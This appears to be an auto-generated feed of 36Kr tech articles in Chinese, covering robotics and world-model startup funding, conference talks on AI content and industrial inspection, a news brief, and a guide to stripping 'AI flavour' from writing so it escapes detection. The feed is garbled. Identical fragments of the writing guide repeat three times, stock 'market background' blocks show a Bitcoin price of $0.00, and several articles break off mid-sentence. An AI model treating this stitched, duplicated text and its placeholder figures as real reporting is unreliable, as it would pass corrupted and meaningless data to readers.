“桥田智能具备自主掌控的核心技术，公司快换盘产品打破海外厂商对高端快换盘的垄断，实现了国产替代，并得了到下游各行业标杆客户的广泛认可。伴随着国内制造业的转型升级，制造企业对柔性反应能力的建设需求不断提升，公司的发展有着充分的机遇和广阔的空间。” 在制造业向自动化、柔性化、智能化持续升级的背景下，工业母机产业投资基金在产业端拥有的先进产业链经验及上下游丰富资源，将助力桥田智能全面参与到全球产业链中。桥田智能将以本轮融资为新的发展起点，围绕客户真实生产场景中的效率瓶颈与可靠性需求，持续深化机器人末端的国产化替代及柔性制造关键装备布局。

文章来源

标题: 36氪首发 | 国家级产业基金出手，桥田智能获亿元融资
来源: ai
链接: https://36kr.com/p/3825527430025856?f=rss
时间: 2026-05-26 10:48:03 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3825527430025856?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-26T06:00:14.056195+00:00

消除“罪证”：给写作去除“AI味”的不完全手册（2026版）

Mon, 25 May 2026 12:00:15 +0000

原文摘要

图源：公众号「有三思 U Sense」做个测试。读一下这段话： “熊猫是最可爱的动物，它最爱吃竹子，样子最憨态可掬，是世界上最珍贵的宝藏。” 如果你笑了，或者皱了眉，很明显，你的“鉴AI雷达”已经觉醒。近期把网友笑到打鸣的“豆包体”里，“最”是高频词汇。大家纷纷晒出自己使用、调教AI，结果内容啼笑皆非的截图。这场围绕AI味写作的调侃就此出圈。

● 网友@也许像星星发布的AI味吐槽突破微博AI味相关话题浏览阅读量不小，小红书相关笔记动辄近万点赞。豆瓣、抖音、微信公众号，都能搜到不少相关内容。能引发社交媒体的集体吐槽，说明“AI味”已经人人皆可感知，大家都不傻。同时这也意味着，在工作中需要写文章的你，暂时不用担心AI会把你完全替代掉了。

● 微博超话AI味相关的讨论与AI味相对的是“人味”。如果说AI的造词遣句，是在语料投喂和人工交互反馈下生成的，那人味给人一种随机波动的感觉。比如，使人动容或会心一笑的句子、意料之外的妥帖比喻、未曾熟识的新奇词组搭配、诙谐讽刺的暗喻留白，甚至不合语法或有失偏颇的表达。这种对AI味和人味的敏锐捕捉，直接催生了社交媒体上的一场“李逵捉鬼”运动。「鉴AI」，网友比检测软件更认真 2026年，打工人和学生面临着这样的窘境：人类急着证明自己不是机器，而机器正在拼命模仿人类的话语习惯。略显荒诞的是，“AI检测工具”作为裁判，本身也是个半盲。误伤正每天发生。现在的情况是：只要过于结构严谨化的写作，都会让人怀疑有AI参与了写作。这种无妄之灾、相互怀疑、甚至需要“自证没有吃凉粉”的场景增添了写作的成本。一些人莫名陷入了自证的困境。比如自己手敲了一下午的文案，仅仅因为用了两个破折号，就被评论区追着问： “这是AI写的吧？”

● @levelsio发布的“拉黑”破折号的推文社交平台的机器误判案例随处可见。网民唐某某发布了一条关于打工与学车的感悟，结果被平台算法误判为未标注的AI生成内容，遭禁言一天的处罚。文科生的职场里也展开着相同闹剧。有从事编剧行业的网友说：手敲了一下午的剧本被以为是AI 。亦有学者谈到：引用的作者原话竟然被判定为AI。到底什么是真，什么是假？为了不过多地食用“AI泔水”，不被判定为AI创作，在小红书等社交平台上，网友们已经自发分享“鉴AI”攻略。

● 网友发布的“野生”鉴定攻略

● 网友发布的“野生”鉴定攻略不过，即使是AI味，也散发着不同的气质风格。

● 目前市场上最具代表性的主流模型“文风”一览是什么让你的文章有AI味？ AI味可能是一种感觉，当然也可以是一组可以被辨识和描述的语言指纹（linguistic fingerprinting）。维基百科的编辑团队为了过滤AI生成内容，专门整理了一份AI写作迹象清单，涵盖语气、结构、格式和引用等多个维度。原文较长，我们简单说一些常见场景：过度拔高。习惯性使用“历史性/关键时刻”、“高光/决定性”等通用表述，夸大平凡事物。案例就是将普通小镇描述为韧性的象征，将次要事件拔高为分水岭时刻。否定式煽情句式。 AI写作是这样的：这不仅仅是一双跑鞋，而是对自律生活方式的承诺。但其实原义是：这双跑鞋重210克，鞋底有缓震胶，后跟带反光条。虚假范围 (False Ranges)。惯常句型是“从X到Y”。而实际上X和Y没有太大关联，或者直接是硬凑合。比如：从解决问题的工具，到科学发现的艺术表达。 RLHF是导致AI味浓烈的“元凶”。这个技术用词指基于人类反馈的强化学习。你可以认为它是一种让AI通过人类打分，来学习正确答案的训练方法。大致流程是让人工标注员对AI的不同回答进行打分，AI会学习向高分回答的风格靠拢。那些充满人味的“犹豫、矛盾、没有节奏“的内容，会因风险高、不标准被淘汰。主模型为通过奖励模型，就会一直优化学习，更新自己的回答策略。如此一来，被认可过的词汇、写作结构会扩散到整个语言模型的运行中。高频词多，AI味越浓，就更容易被人抓包了。《去“AI味”不完全手册》 ——本攻略涵盖整个生成流程，根据实际自身需求选择步骤即可。 [动作一：注入肉身] 第一步，是给AI投喂偏好或本人的写作文本，让它拆解总结出写作特色，从而生成相似的文风。提供多样化参考标准收集至少3-5篇能代表你风格的原创文本（总计超过1500字效果更佳），内容覆盖多个场景，含说明性段落、议论性句子、口语化短句及带修辞的长句。收集完后，整合成一份文档投喂给AI，让AI学习你的用词习惯、句式节奏、书面语气、修辞风格、行文逻辑，之后AI就能复刻你的写作风格。（一般使用，到这里就够了，如果有更高标准需求的，可以继续往下看。）标注关键风格锚点人工标记能显著提升模型对隐性风格要素的识别精度，尤其针对易被忽略的微观特征。在文本中用【】标出你偏爱的3类表达：【高频过渡词】、【标志性句式】、【惯用比喻结构】；另起一行列出3个绝对避免项：比如你不希望出现的，可以写为【禁用被动语态】、【不用“不是..……而是……”句式】、【不出现超过两个连续顿号】；对每处标注附加简短说明。用【】书写，给文本里你认为有特点的用词、句式、习惯表达做标注。可以在每条标注后面，都加一句简短解释，说明这个表达代表了什么说话习惯、语气偏好、行文风格。分阶段提示词引导训练通过结构化提示词序列，逐步强化模型对风格维度的响应权重，避免一次性输入导致特征稀释。以下提示词次可直接复制改写。 ① 首轮输入：

请严格模仿以下文本的节奏与词汇密度，复述下段内容：[粘贴第一篇样本]

② 次轮输入：

保持上一轮输出的句长分布与连接词频率，重写新主题：[你的新主题描述]；

③ 第三轮输入：

检查当前输出是否含【禁用被动语态】，若存在，请替换为对应主动结构并保持原意。

分对比反馈微调法对比反馈，主要指的是利用人类的直觉去判断差异点，将主观感受转化为可操作修正指令，形成闭环优化。具体操作是要求AI对同一主题生成三版不同风格倾向的初稿（A/B/C），不指定方向；比对各版与你样本的匹配度，比如可以用颜色标记：绿色=高度一致，黄色=局部偏离，红色=风格冲突；针对所有红色标记句，向模型发送指令（你自己设定的写作风格）。例：将此句按【标志性句式】重构，主语前置，动词紧随，结尾不加修饰副词。 [动作二：活用提示词] 你可以通过提示词的书写将要求、主题角色和场景设置细节化。绝大多数人

文章来源

标题: 消除“罪证”：给写作去除“AI味”的不完全手册（2026版）
来源: tech
链接: https://36kr.com/p/3824601267196037?f=rss
时间: 2026-05-25 19:32:24 +0800

核心内容

● 网友发布的“野生”鉴定攻略

● 网友发布的“野生”鉴定攻略不过，即使是AI味，也散发着不同的气质风格。

请严格模仿以下文本的节奏与词汇密度，复述下段内容：[粘贴第一篇样本]

② 次轮输入：

保持上一轮输出的句长分布与连接词频率，重写新主题：[你的新主题描述]；

③ 第三轮输入：

检查当前输出是否含【禁用被动语态】，若存在，请替换为对应主动结构并保持原意。

内容来源：tech 原文链接：https://36kr.com/p/3824601267196037?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-25T12:00:15.431950+00:00

消除“罪证”：给写作去除“AI味”的不完全手册（2026版）

Mon, 25 May 2026 12:00:14 +0000

原文摘要

● 网友发布的“野生”鉴定攻略

● 网友发布的“野生”鉴定攻略不过，即使是AI味，也散发着不同的气质风格。

请严格模仿以下文本的节奏与词汇密度，复述下段内容：[粘贴第一篇样本]

② 次轮输入：

保持上一轮输出的句长分布与连接词频率，重写新主题：[你的新主题描述]；

③ 第三轮输入：

检查当前输出是否含【禁用被动语态】，若存在，请替换为对应主动结构并保持原意。

文章来源

标题: 消除“罪证”：给写作去除“AI味”的不完全手册（2026版）
来源: ai
链接: https://36kr.com/p/3824601267196037?f=rss
时间: 2026-05-25 19:32:24 +0800

核心内容

● 网友发布的“野生”鉴定攻略

● 网友发布的“野生”鉴定攻略不过，即使是AI味，也散发着不同的气质风格。

请严格模仿以下文本的节奏与词汇密度，复述下段内容：[粘贴第一篇样本]

② 次轮输入：

保持上一轮输出的句长分布与连接词频率，重写新主题：[你的新主题描述]；

③ 第三轮输入：

检查当前输出是否含【禁用被动语态】，若存在，请替换为对应主动结构并保持原意。

内容来源：ai 原文链接：https://36kr.com/p/3824601267196037?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T12:00:14.296688+00:00

华为具身大脑一号位做类脑智能世界模型，对标JEPA，获亿元级融资｜硬氪首发

Mon, 25 May 2026 09:00:21 +0000

原文摘要

作者｜黄楠编辑｜袁斯来硬氪获悉，具身智能大脑公司「具脑磐石」完成新一轮亿元级融资，本轮融资由具备深厚类脑与具身产业背景的顶尖产业资本领投，老股东及多家顶尖基金复投和跟投，多维资本担任独家财务顾问。同时，更新一轮融资也在同步交割中。资金将重点投入核心技术研发、人才团队扩容及全球化市场拓展，以加速认知世界模型（Cognitive World Model）的研发、工程化落地与真实场景验证。

类脑智能世界模型（图源/企业）具脑磐石成立于2025年，以类脑智能为底层范式，构建面向真实物理世界的认知世界模型（Cognitive World Model）。公司由“华为具身大脑一号位”朱森华创立并担任CEO，他长期专注AI与脑认知交叉研究，曾在中山大学从事计算机与AI研究，博士毕业于宾夕法尼亚大学认知神经科学专业，并于中科院脑与认知科学国家重点实验室完成博士后研究。进入华为后，朱森华担任过华为云AI算法创新Lab主任，主导并负责AI脑科学云平台、盘古具身大模型、全球具身智能产业创新中心等项目；他推动了世界模型与类脑智能融合路线的系统性验证，是华为具身智能大脑的开创者，兼具脑认知科学研究、类脑AI路线创新验证与具身智能产业落地的复合能力。

朱森华出席中国人形机器人技术应用峰会（图源/企业）联合创始人刘晋宇长期聚焦AI机器人技术产品化与产品商业化，曾从0到1孵化多个产品事业部并实现全球规模商业落地；多位技术、供应链、运营合伙人来自清华、北大、复旦、中科院等科研院所，并曾在华为、联想、旷视、极智嘉等公司参与AI算法、机器人系统、供应链及全球商业化落地。原生团队已覆盖前沿研究、模型研发到系统工程落地的完整闭环。过去一年，具身智能赛道的风口迅速迭代，行业热词从“VLA”悄然换成了“世界模型”。李飞飞押注空间智能，Yann LeCun创立AMI Labs探索因果推理，英伟达、Google DeepMind等科技巨头加速布局物理仿真与真实交互技术。但热度背后，一个基础问题并未被厘清：世界模型究竟是什么？它是全新的学术理念、下一代AI的核心技术路线，还是仍在被市场反复验证的阶段性概念？不同团队给出的定义和路径各不相同。具脑磐石创始人朱森华认为，要得到答案，需先回到问题的本源。“想真正读懂世界模型，要厘清它的技术本源与核心诉求，清楚它从何而来、要解决产业的什么根本问题。”朱森华向硬氪指出，“世界模型的底层逻辑根植于脑与认知科学的‘心智模型（Mental Model）’，是当前脑科学与与AI的前沿交叉体系，缺乏这套认知体系，大多讨论就容易停留在技术名词的排列组合。今天是VLA叠加世界模型，明天是世界模型拼接VLA，看似迭代飞快，实则没有触达技术本质。” 这一判断，直接影响了具脑磐石对技术路径的选择。在具脑磐石团队看来，具身智能正在从“动作智能”走向“认知智能”。下一阶段的核心，不只是让机器人看懂任务、完成动作，而是让机器人具备类人的小样本抽象概念学习、多维环境感知、长期记忆和主动推理能力，并在真实世界中跨场景稳定行动。然而，当前具身智能落地仍面临多重瓶颈：高质量真实数据难以规模化获取，模型跨场景泛化能力不足，每进入新环境往往需要重新训练，机器人也缺少长期记忆与持续学习能力。数据不能无限采集，算力也不是无限资源。反观人类大脑，它无需海量示教数据，也无需高能耗高算力，却能在复杂多变的环境中持续完成学习、感知、记忆、预测、规划与行动。这正是具脑磐石选择类脑智能作为底层路径的原因，即不是从结构上简单模拟大脑，而是提取大脑智能化的功能神经机制等核心能力，将其转化为可计算的算法与架构，最终构建下一代具身智能大脑。具脑磐石从创立之初便提出了类脑智能驱动的认知世界模型，与Yann LeCun所提出的JEPA（Joint Embedding Predictive Architecture，联合嵌入预测架构）路线同向，基于共同的主动推理认知科学理论底座，聚焦推理、规划与真实世界建模。JEPA的价值在于令AI不再只生成“看起来像”的结果，而是在抽象表征空间中学习状态如何演化、推理未来趋势，继而更接近人类大脑认知真实世界的底层规律。但对于需要进入真实环境中执行任务的机器人而言，仅具备“表征—预测”能力并不足以构成完整的智能闭环。

智能闭环（图源/企业）一个直观案例是，人过马路时，无需精准测量前后左右车辆的速度、距离、红绿灯时间，只是简单扫一眼周边现状，就能以合适的速度和节奏安全通过。这就是心智模型中的主动推理。朱森华表示，具脑磐石要做的认知世界模型，正是要把这套能力工程化，让机器人不仅预测世界如何变化，还能凭借对环境的认知自主设定目标、规划行动、执行操作，并从环境反馈中持续学习以修正自身行为。这意味着，一个可用于具身系统的世界模型，必须涵盖从状态预测到决策执行的全链路能力。具体到实现路径上，公司正在将脑科学中对多舱室神经元、非线性注意力、多阶段记忆、稀疏计算与主动推理等机制，转化为可落地应用的算法模型与工程化系统架构。这一路径最终指向四个核心技术目标：低数据、高泛化、终身学习、低功耗，共同突破具身智能在数据成本、跨场景适应、持续运行与算力限制等方面的现实约束。目前，具脑磐石已在具身感知交互、规划、移动导航、操作及群体具身等方向完成多项系统级技术验证，并在国内及海外市场同步推进多个行业客户真实场景PoC，将认知世界模型从算法框架推进到真实机器人系统。这一从算法到系统的推进方式，也构成了具脑磐石对具身智能2.0的理解：不是让机器人在演示中完成更多动作，而是让机器人真正具备接近人类大脑的认知能力——从少量经验中学习抽象规律，在复杂环境中持续感知和记忆，并在跨任务与泛场景中实现主动推理、稳定决策、持续行动。以下为硬氪与具脑磐石创始人朱森华的访谈节选（略经编辑）：硬氪：目前市场上关于世界模型的讨论很多，我们如何理解这个概念？朱森华：在我们看来，世界模型其实有五个层级，从下往上依次是，第一层的视觉真实；以李飞飞老师主导的空间智能为代表，解决从2D到3D的环境真实问题。第二层是物理真实；类似Sora通过堆数据理解物理规律，但这种方式是否真正可靠，还有争议。第三层属于交互真实；是以Google DeepMind、英伟达为代表，解决智能体在环境中的触碰、反馈等交互过程如何学习。第四层是抽象学习；以Yann LeCun团队提出的JEPA为代表，不再逐像素学习，而是在表征层面进行抽象学习，解决泛化性问题。第五层才进入到主动推理，即源于认知神经科学的主动推断理论，追求低数据、高泛��、可终身学习、低功耗；其中，人类大脑已经证明了这套路径可行。

具脑磐石技术视野里的“World Model”技术层级体系（图源/企业）这五个层级不是并行或相互独立的流派，而是一个从基础设施到智能能力演化的体系。前三层解决的是“如何更便宜、更可靠地获得数据和训练环境”的问题，后两层解决的是“如何高效学习和推理”的算法架构问题。它们可以分头探索，也可以相互支撑——基础设施完善了，上层工作会更高效；但即便基础设

文章来源

标题: 华为具身大脑一号位做类脑智能世界模型，对标JEPA，获亿元级融资｜硬氪首发
来源: ai
链接: https://36kr.com/p/3819931562414467?f=rss
时间: 2026-05-25 09:30:00 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3819931562414467?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T09:00:21.294652+00:00

圆桌对话：从“千人千面”到“人心洞察”| 2026AI Partner·北京亦庄AI+产业大会

Mon, 25 May 2026 09:00:20 +0000

原文摘要

AIGC如何从生产工具进阶到情感洞察？当AI能写出剧本、生成音乐、表演微表情，人还剩什么？内容产业正在发生生产模式跃迁，传统用户画像在AI时代正在被颠覆，真正要做的是理解用户的情感状态而非静态标签。厂牌效应不会消失，越过技术线之后，人最后坚守的是“手搓”的审美与意义。以下为圆桌对话内容，经36氪整理编辑：

刘士武丨36氪游戏主编（主持）庄明浩丨趣丸科技副总裁兼首席战略官胡维琦丨MiniMax To B 中国区商业化负责人郑安迪丨柠萌影视旗下短剧厂牌好有本领总经理刘士武：大家好，我是36氪游戏主编刘士武，也是这场圆桌的主持人，本场圆桌论坛的主题是从“千人千面”到“人心洞察”。AIGC从千人千面、每个人可以做自己个性化的内容，到如今已经渗透到整个内容生产、分发、商业化生态当中，在这个过程中，AIGC有哪些改变，市场又有哪些改变，今天现场的三位嘉宾将会给我们答疑解惑。首先请三位嘉宾做一个简单的自我介绍。庄明浩：大家好，我是来自趣丸科技的庄明浩，我们公司是一家做移动语音社交产品的公司，近几年在AIGC领域尝试了AI音乐、AI短剧翻译的业务，也有AI数字人、AI 3D的业务，老业务社交板块也在做AI的结合。胡维琦：大家好，我是胡维琦，来自MiniMax，在MiniMax负责中国区商业化业务，MiniMax是一家大模型公司，主要给大家提供各个模型的能力，包括我们文本、视频、音频、音乐，非常高兴来到36氪的会场跟大家共同交流和分享。郑安迪：大家好，我是来自柠萌影视旗下短剧厂牌好有本领的郑安迪，《三十而已》、《二十不惑》、《猎罪图鉴》、《小欢喜》、《小别离》等大众爆款剧都是出自柠萌影视。好有本领自2022年开始，在市场上还没有短剧定义的时候我们就开始做短剧了，也开创了明星短剧赛道，最早的时候像杨蓉老师出演的《二十九》，去年倪虹洁老师出演的《小美满》这些都是由我们出品的精品短剧。我们今年开始转型做AI制作的板块。刘士武：庄总刚才介绍到趣丸科技是一家在移动互联网时代做产品起家的一家公司，到现在进入AI时代，趣丸也发力了各种各样的AI业务。您觉得自AI深度参与公司的发展之后，企业整体运转发生了哪些重大的变化，能否从产品理念、商业模式变化等方面挑一个角度举例子分享一下。庄明浩：这场三位嘉宾的身份很有意思，一位是模型厂商的代表，一位是应用公司的代表，而我们在AI板块做的刚好是在他们中间的事情，借用MiniMax的API来做相关的产品研发，产品做好以后也会提供给柠萌这类公司做产品服务，这个组合正好代表了AI领域从模型层、中间层、应用层不同的角色。说到我们自己，随着AI这一波快速演进以后，对于我们已经有传统业务的公司而言，比较大的体感变化是，由于AI技术迭代过快，让传统那套依赖流程、按半年或一年设定OKR/KPI，从“想法→执行→测试→发布”的节奏，在今天已经不再适用。至少在AI相关业务中，产品的节奏、进度，以及与之匹配的组织形态，都会发生根本性变化。原来我们想的方式更像是“发大招”，围绕一个想法做一个完整的产品，然后上线、运维、交互等等。但AI发展太快，用户需求并不稳定，这套节奏根本跟不上。现在变成了必须高频发布，先做一个哪怕只有60分的东西放到线上，这样团队能在快速执行中，更敏捷地把握用户感知和市场需求。拿我们的AI音乐业务举例。原来我们这个团队是做在线弹唱音乐社区，本身就有音乐科技相关的基础，他们也往AI音乐方向尝试。最初团队也自研模型，就像MiniMax做的事情一样，后来发现仅做模型很难满足用户需求，我们逐步在模型基础上做应用、做Agent甚至开拓硬件。可想而知，对于一个在移动互联网时代做了十几年、拥有完整产品、技术、策划和运营体系的成熟团队来说，这些新事情是巨大的挑战。过程中团队经历了大量的变化、调整和适配，至今仍在摸索，还没有特别成熟的经验和答案。但我们明显感到，这跟原来的方式已经完全不同了。刘士武：从互联网到移动互联网，大家已经觉得从企业内部的角度节奏已经在变快，效率一直在提升，AI时代来了这个脚步是没有停止的，效率提升了，也会遇到一些问题。庄明浩：你可能经常会遇到这样的情况：正在做策划方案，做着做着模型突然迭到一个新的版本，之前积累几个月的工作量瞬间没有意义。你当然也可以继续发布、运维、推广，但心里清楚这件事情迟早得推倒重来。例如，AI音乐在过去一年发展非常快，现在市面上做AI吉他，已经不止一家。那你就得去思考你的优势是什么？怎么和原有业务绑定、探索、结合？同时还得考虑硬件周期，以及国际格局变化给硬件供应链等公共基础设施带来的影响。对一家传统互联网公司来说，这个命题实在太难了。没办法，只能硬着头皮改、去调整，有新同事加入不断适配。好在第一代做得还行，也做出来了。刘士武：在实践中找到答案，庄总提到三位嘉宾都是在这一个产业链上的上中下游的厂商，而作为模型提供方，MiniMax在B端已经落地了影视文娱领域，那么在影视这部分的客户跟模型领域或者其他领域有什么不同吗？胡维琦：总体方向上有相似性，有特殊性，这一次AI时代的变革大家为什么觉得这么剧烈？核心是进入到企业的生产力工具，改变了很多生产方式，甚至改变了企业组织效率甚至是组织职责设定，这个是大家感受比较深的。单纯从视频领域来看，我的理解，第一，企业还是比较关心内容生成质量，大家谈得比较多能不能达成影视级，多机位、多参考，包括音画同出的，已经成为大家标准的需求，这是第一方面。第二方面，大家比较关心我在影视制作内容创作上整个效率和成本达到让人比较满意的结果，原来模型也可以做这个事情，抽卡率比较低；第二个现在很多模型也可以做，成本又比较高；未来随着短剧、漫剧的使用，大家也会关心内容的合规，包括版权方面我理解法律的遵从，AI前期做训练的时候有很多内容，还是有一些模糊地带的，把生成内容应用到商业角度，内容生产者、发行者，要对这个地方承担一定责任，他们希望模型厂商能从前期素材合规性包括内容合规性上大家共同做约束，从视频内容、生产厂商比较关注的内容。刘士武：目前业务进行下来，B端客户对于内容产出的质量、速度满意吗？胡维琦：不同模型在不同场景解决的问题是不一样的，大部分已经达到可用的效果，可用效果分为两方面，一个是速度，一个是质量，速度是比较好的，用一些客观指标来衡量的，每分钟生成的token数，代表着内容数量和速度，但是质量是很难用恒定标准衡量的，每个人对质量的定义千差万别，大家会有一个基本的概念，我现在用AI工具比我雇一个中等手工，生产力是相当的，且不会犯大的错误，生产中被大部分企业认为是可用的质量。刘士武：谢谢胡总。2025年有很多AI漫剧上线，到今年很多人说是AI真人剧爆发的一年。年初到现在，已经有部分AI作品有登上短剧平台的热门榜，这在过去是不太敢想的。圆桌之前我跟郑总有过讨论，最近圈内有一个比较有意思的事情，四天要拍三部短剧，剧组每天轮轴转，不然未来你做不了AI就要做。好有本领是一直奋斗在一线的团队，能否结合刚才的案例或者以前遇到过的案例，分享一下团队在AI选角以及AI真人短剧方面的经验。郑安迪：我们是一家非常

文章来源

标题: 圆桌对话：从“千人千面”到“人心洞察”| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3824154127093892?f=rss
时间: 2026-05-25 14:08:00 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3824154127093892?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T09:00:20.644786+00:00

搞定工业质检：AI视觉如何重构高端制造质量防线| 2026AI Partner·北京亦庄AI+产业大会

Mon, 25 May 2026 09:00:18 +0000

原文摘要

半导体光罩上的纳米级缺陷、玻璃基板上几微米的钻孔。广州因特智能展示了AI视觉如何从实验室走进高端制造产线，用软硬结合的方式解决中国在半导体检测装备领域的卡脖子问题。

广州因特智能孵化于西安电子科技大学广州研究院，是校地合作落地的典型科技企业。我们拒绝“纸上算法”，坚持软硬一体，为半导体、光通信、新能源三大领域提供高端检测装备，已服务国内头部客户及全球企业。以下为演讲内容，经36氪整理编辑：

刘金硕丨广州因特智能科技CEO 非常感谢36氪和亦庄的邀请，很荣幸在这里跟大家进行科技界的产品技术交流。与前几位嘉宾的分享角度不同，我们是一家扎根实体制造的科技公司，专注用AI视觉技术解决工业场景的“卡脖子”检测难题。简单介绍我们公司，广州因特智能科技。我们是由西安电子科技大学广州研究院产业成果转化联合实验室孵化，专注于高端制造AI视觉检测装备。公司建有光学测试实验室、高速显微测试实验室、AI 算法通用训练平台测试实验室、AI 边缘服务器研发实验室和柔性化机构研发实验室，并配备近 2000 平方米万级无尘制造车间，形成了从算法研发、光学测试、装备集成到生产交付的完整能力体系。目前主要聚焦三大细分领域：半导体大基板检测，包含FPD光罩、玻璃基板和陶瓷封装基板；在光通信领域，侧重MPO、CPO光纤端面检测；在新能源汽车主要是压铸件、IGBT总成。在这三个细分领域里，我们为行业内的头部客户提供了检测装备，有自己的研发、生产、销售。我们成立了智能检测装备联合研究中心，集中西电及产业高精尖资源专门做装备的落地。目前拥有核心软著和发明专利2项，还在申请的专利8项，发明专利8项，软著5项。我们不只是专注于实验室，而是专注整个产业去做落地。成立至今，我们服务的主要是产业内的头部大客户，目前已出了可复制的设备，可批量落地。接下来跟大家介绍一下核心产品和技术。产品一是高速显微AOI检测平台，主要针对半导体行业和光通信行业。肉眼看不见的东西，都是用这个平台来实现的。这个平台用显微镜做检测镜头，通过控制再加上AI算法，实现缺陷检测。光罩检测、玻璃基板检测、晶圆检测、OLED基板检测，大部分偏向高精度、高速度的检测。光学成像是在高速显微里我们最核心的技术之一。最小检出缺陷0.18μm，测量精度达到亚纳米级，另外集成线光谱共聚焦模组、白光干涉模组、深紫外线光源、原子力显微镜应用满足行业2D、2.5D和3D检测测量需求，微观检测成像综合应用和精度行业第一梯队。整个检测模组是比较复杂的，光路设计、移动控制都非常精密。第二个核心技术是算法。算法用的是行业比较先进的DD+DB+Starlight增强算法，基于我们在整个行业中需要做到的程度，这些在国内都比较领先。我们还配备了高精密运控平台。有高精密大理石平台和气浮检测运控平台，核心技术是我们高精度的传动控制导轨加上基台定位精度的反馈算法补偿。产品二是AI通用训练平台，主要针对新能源汽车行业。汽车压铸件检测面临的挑战更为棘手，产品尺寸大、复杂曲面种类繁多，这些外观特性长期干扰着高效检测的实现。 AI方面，我们自研AI算法，采用“小样本、无监督训练模式”，最少仅需5张图片即可训练一个检测模型；无需复杂编程，15分钟即可完成新零件规格适配，快速响应产线切换。用通俗的比喻来解释：传统AI训练像“手把手教孩子认字”，需要海量标注数据；而无监督自学习则像“孩子自己观察世界”，能够自主学习、持续进化。广州因特智能科技的AI算法就像一位可以自我成长的质检员，在生产中不断积累经验，越用越聪明。我们一直注重软硬件结合，汽车压铸件AI视觉检测设备搭载西门子边缘服务器，凭借其强大的局部实时算力与毫秒级数据处理能力，打破了海量图像回传的带宽瓶颈，可实现360度全域无死角视觉覆盖，对深腔、凹槽、弧面等难检测区域精准“锁定”。柔性运动控制模块支持高速飞拍，瞬时捕捉缺陷，单个点位检测耗时仅需120毫秒，较行业检测耗时缩短74.4%，充分适配产线高速节拍，各类缺陷0.1毫米级识别，漏检率低至5%。针对上面提及的三大细分领域，最后给大家介绍我们的实施的案例。目前因特智能配备了国内首台套、国产替代的FPD光罩缺陷检测设备，小检出缺陷能做到0.18μm。玻璃基板TGV检测设备，能快速把玻璃基板上的每个孔径大概只有3微米，几万到几十万个孔，在极短的时间内把这些孔的孔径测量完，包括检测缺陷。在光通信领域，针对MPO光纤检测低效难题，广州因特智能科技打造出MPO端面一体化检测设备，包括光模块、MPO模块、CPO等，设备系列比较多。最后一个是汽车压铸件外观检测设备，我们公司更看重的是给客户交付一整台能用的设备。这台设备是机械臂或多机械臂系列，把相机、镜头、光源集装到机械臂的前端，通过运控对整个压铸件进行飞拍、巡拍，。上面的图像根据客户要求检测每个点位，用飞拍的方式再用AI算法输出结果，哪个点位合格、哪个点位不合格，都可以轻松地进行追溯。最终形态的表达，是多个机械臂相互协作，产品兼容度、复杂度高，上面既有2D、2.5D、3D，还有测量功能全部放上去，给用户去用，包括上料、下料功能。精准检测，科技领航，广州因特智能科技会持续深耕工业缺陷检测领域，以专业技术体系赋能工业品质管控。我的演讲就结束了，谢谢大家。

文章来源

标题: 搞定工业质检：AI视觉如何重构高端制造质量防线| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3824158896312709?f=rss
时间: 2026-05-25 14:26:35 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3824158896312709?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-25T09:00:18.780290+00:00

氪星晚报｜全国首单挂钩蓝色债券合约类信用衍生品交易落地山东；到2030年底全国城市生活垃圾资源化利用率力争达到76%以上；新加坡寻求将富人开户时间缩短至一个月

Mon, 25 May 2026 09:00:17 +0000

原文摘要

大公司：番茄小说持续加强低质内容治理，5月处置低质书籍超15万本 36氪获悉，近日，番茄小说发布《关于加强低质内容治理公告》。公告显示，5月以来，番茄小说已累计处置低质书籍超15万本，其中拒绝签约低质书籍112706本，处置低质违规书籍40275本。全国首单挂钩蓝色债券合约类信用衍生品交易落地山东 36氪获悉，据上海清算所，近日，在中国人民银行山东省分行指导和推动下，山东省成功落地挂钩蓝色债券的合约类信用衍生品交易。该业务是全国首单以蓝色债券为保护标的的信用风险缓释合约。日本监管机构敦促上市公司将现��用于业务投资，而非提高股东回报日本金融监管机构敦促国内上市公司将更多现金储备用于长期业务投资，而不是通过股票回购和提高股息来回馈股东。将企业和家庭持有的更多国家财富引导出来用于支持未来扩张，是日本首相高市早苗振兴日本经济计划的关键支柱之一。她长期以来一直批评企业资产负债表上积累的大量现金沉淀。速卖通Brand+品牌出海计划正式开放韩国站 36氪获悉，速卖通Brand+品牌出海计划已正式开放韩国站点，今年速卖通在韩国的市场投入将激增至去年的三倍。此外，目前速卖通在韩国已实现50%的订单三日达。多点数智联合灵心巧手成立灵美智能 36氪获悉，天眼查App显示，多点（深圳）数字科技有限公司、灵心巧手（北京）科技股份有限公司及深圳泰亿企业管理中心（有限合伙）5月21日共同出资设立“灵美智能数核（北京）科技有限公司”，三方分别持股51%、29%及20%。灵美智能数核（北京）科技有限公司法定代表人为张峰，张峰同时为多点数智联合创始人兼总裁。新产品：马斯克：Grok基础模型V9-Medium（1.5T）已完成训练马斯克表示，Grok基础模型V9-Medium（1.5T）已完成训练。评估结果良好。在补充训练中加入了大量Cursor数据，后续还将继续添加。微调工作正在进行中，强化学习将于数日后启动。预计2至3周后正式发布。投融资： “天机智能”完成10亿元融资 